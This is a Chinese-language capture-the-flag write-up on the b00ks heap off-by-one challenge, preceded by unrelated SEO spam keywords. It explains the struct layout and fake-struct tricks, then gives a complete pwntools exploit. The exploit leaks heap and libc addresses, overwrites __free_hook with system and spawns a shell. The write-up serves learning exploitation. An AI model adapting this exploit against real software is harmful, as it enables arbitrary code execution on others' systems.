wordpress网站源码,公司网站建设哪家正规,品牌建设属于哪个部门,彩票网站 在哪里做萌新进度太慢了#xff0c;才真正开始heap#xff0c;还是从简单的Off-By-One开始吧 前言
步入堆的学习。堆的知识复杂而多#xff0c;于是想着由wiki从简单部分逐个啃。
b00ks是经典的堆上off-by-one漏洞题目。刚开始看很懵#xff08;因为确实连堆的管理机制都没有完全… 萌新进度太慢了才真正开始heap还是从简单的Off-By-One开始吧 前言
步入堆的学习。堆的知识复杂而多于是想着由wiki从简单部分逐个啃。
b00ks是经典的堆上off-by-one漏洞题目。刚开始看很懵因为确实连堆的管理机制都没有完全了解。 一、一些疑难点以及思考
wp在网上有很多然而读了五六篇不同大佬师傅写的wp发现有很多细节被忽略了可能这些细节都是很简单的然而作为萌新一些基本的知识和思路还是缺乏。
好在经过两三天的啃、跟着做终于有了一些见解基本思路也打通了。具体的wp就不在这里写了可以食用其他大佬的wp更为优质而我就做一些补充。一些来自于本蒟蒻的细节的补充。
细节0off-by-one进行的单字节溢出可以用作泄露可以用作覆写。
细节1结构体分配内存时先name成员指针、再description成员指针、后book结构体指针
这个细节决定了我们通过off-by-one进行单字节溢出时地址总是减小因此可以将book1结构体更新到description
细节2description可以修改因此布置fake-book1要在单字节覆写之前name不可以修改但是会被首先free——即free_hook在free name时首先发作
这就意味着——如果不用onegadget而利用system(/bin/sh)那就需要把name指针布置为bin_sh字符串指针也就是需要修改name——我们可以修改fake_book1的desc指针指向book2的name的地址同时由于book结构体中name、desc两个指针相邻所以修改name值时填入p64(bin_sh)p64(free_hook)即可覆写namedesc指针为指定指针
细节3fake_book1的偏移为了能让fake_book1落在指定的、更新后的book1的位置前面可能需要填充padding这个通过gdb调试将偏移后的伪结构体数据布置到指定指针位置。
每次运行虽然heap变化但是低位不变因此偏移也固定。为了方便布置可以将book1的descrption内容开大一些。
二、EXP
from pwn import *context(archamd64,log_leveldebug)ioprocess(./b00ks)
def create(namesize,name,descriptionsize,description):io.sendlineafter(b ,b1)io.sendlineafter(b\nEnter book name size: ,str(namesize).encode())io.sendlineafter(bEnter book name (Max 32 chars): ,name)io.sendlineafter(b\nEnter book description size: ,str(descriptionsize).encode())io.sendlineafter(bEnter book description: ,description)
def delete(bookid):io.sendlineafter(b ,b2)io.sendlineafter(bEnter the book id you want to delete: ,str(bookid).encode())def edit(bookid,newdescription):io.sendlineafter(b ,b3)io.sendlineafter(bEnter the book id you want to edit: ,str(bookid).encode())io.sendlineafter(bnter new book description: ,newdescription)def printinfo(id):io.sendlineafter(b ,b4)for i in range(id):io.recvuntil(bID: )IDio.recvuntil(b\n,dropTrue)io.recvuntil(bName: )Nameio.recvuntil(b\n,dropTrue)io.recvuntil(bDescription: )Descriptionio.recvuntil(b\n,dropTrue)io.recvuntil(bAuthor: )Authorio.recvuntil(b\n,dropTrue)return ID,Name,Description,Authordef changeAuthor(newAuthorname):io.sendlineafter(b ,b5)io.sendlineafter(bEnter author name: ,newAuthorname)### 1.泄露第一个book结构体的指针
# gdb.attach(io)
booknameba*32
io.sendlineafter(bEnter author name: ,bookname)
create(16,ba,256,ba)io.sendlineafter(b ,b4)
io.recvuntil(ba*32)
book1_ptru64(io.recvuntil(b\n\n1.,dropTrue).ljust(8,b\x00))
success(book1_ptr{}.format(hex(book1_ptr)))
raw_input()### 2.伪造book1并通过off-by-one修改book1到fake_book1
# 将fake_book1的name_ptr属性指向book2的name将fake_book1的description_ptr属性指向book2的description
# 注意由于name和description属性都是malloc的且因为book结构体malloc(0x20)所以开辟的实际空间是0x30### 之所以0x40(desc)在前0x38(name)在后是因为第二个位置对应可修改的desc指针可以通过其修改book2的name、desc
fake_book1bc*0xc0p64(1)p64(book1_ptr0x40)p64(book1_ptr0x38)p64(0xffff)
# fake_book1bc*0x20p64(1)p64(book1_ptr0x38)p64(book1_ptr0x40)p64(0xffff)
edit(1,fake_book1)# 为了泄露libc版本需要让book2的name或description由mmap分配同时也因此book1和book2的堆空间相邻
create(0x21000,bb,0x21000,bb)
changeAuthor(bookname)
# 注意下面的顺序先desc再name对应payload的布置
book2_id,book2_desc,book2_name,book2_authorprintinfo(1)
print(book2_id,book2_name,book2_desc,book2_author)
book2_name_ptru64(book2_name.ljust(8,b\x00))
success(book2_name_ptr:{}.format(hex(book2_name_ptr)))
book2_desc_ptru64(book2_desc.ljust(8,b\x00))
success(book2_desc_ptr:{}.format(hex(book2_desc_ptr)))
raw_input()libc_basebook2_name_ptr-0x5cf010
libcELF(/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so)
systemlibc_baselibc.sym[system]
success(system:{}.format(hex(system)))
execvelibc_baselibc.sym[execve]
success(execve:{}.format(hex(execve)))
bin_shlibc_basenext(libc.search(b/bin/sh\x00))
success(bin_sh:{}.format(hex(bin_sh)))
free_hooklibc_baselibc.sym[__free_hook]
raw_input()### 通过onegadget来打但是均失败了
# one_gadgetlibc_base0xebc88 # 0x50a47 0xebc81 0xebc85 0xebc88
# edit(1,p64(0)p64(free_hook))
# edit(2,p64(one_gadget))
# delete(2)
### 注意这里的onegadget是没有patchelf该so和ld文件前即22.04版16.04版未尝试### 通过system(/bin/sh)来打
edit(1,p64(bin_sh)p64(free_hook)) #book2的name指针改为指向字符串/bin/sh的指针desc指针指向free_hook
edit(2,p64(system)) #修改free_hook的值为system\
raw_input()
delete(2)# name指向的区域最先free,触发free_hook此时已改为systemio.interactive()
三、效果 总结
还是比较难的但是跟着wp做了一遍发现细节、原理、思路以及流程都能够了解并掌握且gdb调适能力大大提升。加油